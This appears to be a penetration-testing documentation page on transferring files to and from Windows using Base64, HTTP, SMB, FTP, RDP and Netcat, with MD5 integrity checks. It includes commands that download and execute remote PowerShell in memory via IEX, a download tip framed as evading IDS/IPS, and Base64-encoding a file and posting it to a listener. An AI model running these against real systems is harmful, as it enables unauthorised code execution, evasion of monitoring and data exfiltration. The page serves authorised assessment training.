> ## Documentation Index
> Fetch the complete documentation index at: https://www.0101isnothacking.nl/llms.txt
> Use this file to discover all available pages before exploring further.

# Windows file transfer

> Transfer files to and from Windows during security assessments using Base64, HTTP, SMB, FTP, RDP, and Netcat.

## Introduction

File transfer is an essential skill in system administration, penetration testing, and cybersecurity. During security assessments, files often need to move between Linux and Windows systems to exchange tools, scripts, logs, and other resources.

This page covers common methods for transferring files to and from **Windows**, including Base64 encoding, HTTP/HTTPS, SMB, FTP, RDP, and Netcat, using tools such as Bash, PowerShell, and Impacket. It ends with integrity verification using MD5 hashes.

> [!WARNING]
>
> Only use these techniques against systems you own or have explicit authorization to test. Practise in authorized lab environments.

## Download methods

### Base64

**1. Encode on Linux**

Encode the file with Bash (or [CyberChef](https://gchq.github.io/CyberChef/)):

```sh theme={null}
cat file_name | base64 -w 0; echo
```

![Encoding with CyberChef](https://mintcdn.com/non-9fcb5a21/P-t86H21MW2fT7Il/images/image-15.png?fit=max\&auto=format\&n=P-t86H21MW2fT7Il\&q=85\&s=e2cb50efee688fd33372cc667bd2cd03)

**2. Decode on Windows**

Decode the string with PowerShell:

```powershell theme={null}
[IO.File]::WriteAllBytes("file_path", [Convert]::FromBase64String("base64_code"))
```

### HTTP/HTTPS

Start a Python web server on your Kali Linux machine:

```sh theme={null}
sudo /venv/bin/python3 -m http.server 80
```

Then download the file on Windows with PowerShell:

```powershell theme={null}
# Download a file
(New-Object Net.WebClient).DownloadFile('http://ip/file_name', 'C:\PATH')

# Download asynchronously to help evade IDS/IPS detection
(New-Object Net.WebClient).DownloadFileAsync('http://ip/file', 'C:\PATH')

# Download with Invoke-WebRequest
Invoke-WebRequest http://ip/file -OutFile file_name

# Download and execute in memory (bypasses the browser engine)
Invoke-WebRequest http://ip/file -UseBasicParsing | IEX
```

![Bypassing the browser engine](https://mintcdn.com/non-9fcb5a21/P-t86H21MW2fT7Il/images/image-16.png?fit=max\&auto=format\&n=P-t86H21MW2fT7Il\&q=85\&s=7a3eee65b322f9ec8ad22711256c0cb6)

### SMB

> [tab] Without credentials
>
> ```sh theme={null}
> # On Linux
> sudo impacket-smbserver share -smb2support .
> ```
>
> ```powershell theme={null}
> # On Windows
> copy \\192.168.220.133\share_name\file_name
> ```

> [tab] With username and password
>
> > [!NOTE]
> >
> > Newer versions of Windows require authentication, so set a username and password.
>
> ```sh theme={null}
> # On Linux
> impacket-smbserver share_name -smb2support /share_path -user test -password test
> ```
>
> ```powershell theme={null}
> # On Windows, mount the share
> net use n: \\ip\share_name /user:test test
> ```

### FTP

Install and start the FTP service on Linux:

```sh theme={null}
sudo /venv/bin/pip3 install pyftpdlib
sudo /venv/bin/python3 -m pyftpdlib --port 21
```

Then log in to FTP from the Windows command prompt to retrieve files.

![Downloading over FTP](https://mintcdn.com/non-9fcb5a21/P-t86H21MW2fT7Il/images/image-17.png?fit=max\&auto=format\&n=P-t86H21MW2fT7Il\&q=85\&s=dfcdd78d0d13184974bca70b00856596)

### RDP

Mount a local drive over RDP to transfer files:

```sh theme={null}
xfreerdp /v:ip /d:domain /u:username /p:'password' /drive:drive_name,/PATH_file
```

## Upload methods

### Web interface

**1. Install uploadserver on Linux**

```sh theme={null}
sudo /venv/bin/pip3 install uploadserver
sudo /venv/bin/python3 -m uploadserver
```

**2. Install the upload helper on Windows**

```powershell theme={null}
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

**3. Upload the file to Linux**

```powershell theme={null}
Invoke-FileUpload -Uri http://ip:8000/upload -File C:\PATH
```

### Base64 and Netcat

```sh theme={null}
# Start the Netcat listener on Linux
netcat -lnvp 8000
```

```powershell theme={null}
# Encode the file to Base64 on Windows
$b64 = [System.Convert]::ToBase64String((Get-Content -Path 'C:\PATH' -Encoding Byte))

# Send the data to Linux
Invoke-WebRequest -Uri http://ip:8000/ -Method POST -Body $b64
```

### FTP

Install and start the FTP service on Linux with write access:

```sh theme={null}
sudo /venv/bin/pip3 install pyftpdlib
sudo /venv/bin/python3 -m pyftpdlib --port 21 --write
```

Then log in to FTP from the Windows command prompt to upload files.

![Uploading over FTP](https://mintcdn.com/non-9fcb5a21/P-t86H21MW2fT7Il/images/image-18.png?fit=max\&auto=format\&n=P-t86H21MW2fT7Il\&q=85\&s=2ddb0e09cec3ad36ab193b974a85721e)

## Integrity

Use an MD5 hash to confirm no data was dropped during transfer. The hashes should match on both sides.

```sh theme={null}
# On Linux
md5sum file_name
```

```powershell theme={null}
# On Windows
Get-FileHash 'C:\file_path' -Algorithm md5
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.